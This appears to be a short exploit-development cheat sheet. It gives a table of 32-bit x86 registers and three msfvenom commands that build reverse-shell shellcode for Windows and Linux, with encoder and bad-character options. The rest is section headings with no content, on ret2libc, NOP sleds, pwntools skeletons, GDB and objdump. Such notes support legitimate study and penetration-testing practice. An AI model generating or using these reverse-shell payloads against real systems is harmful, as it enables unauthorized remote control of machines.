Linux

Very Basic

# -----------| General Purpose Registers (32bit)
EAX        # Arithmetic and Logical Instructions
EBX        # Base Pointer for Memory Addresses
ECX        # Loop, Shift, Rotation Counter
EDX        # I/O Port Addressing, Multiplication, Division
ESI        # Pointer of data and source in string copy operations  (Source Index)  
EDI        # Pointer of data and destination in string copy operations  (Destination Index)

# -----------| Stack (32bit)
ESP        # The Stack Pointer (Store pointers)
EBP        # The Base Pointer
EIP        # The Instruction Pointer (Will tell what execute next!!)
  • Create shell code

# -----------| Windows
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c 
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -e x86/shikata_ga_nai  -b "\x00\x0a\x0d\x25\x26...BAD_CHARS"
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c -e x86/shikata_ga_nai  -b "\x00\x0a\x0d\x25\x26...BAD_CHARS"    

# -----------| Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c -b "\x00"     

00. Basic Checks

  • Get all functions

01. ret2libc (NX enabled)

  • Return to libc** [ ASLR OFF ]**

  • Return to libc [ ASLR ON (Bruteforce) ]

02. NOP sled (NX disabled)

03. PWNtool Skeletons

  • ret2libc (32 bit)

04. GDB

  • GDB-def

  • GDB-Peda

05. OBJDump

Last updated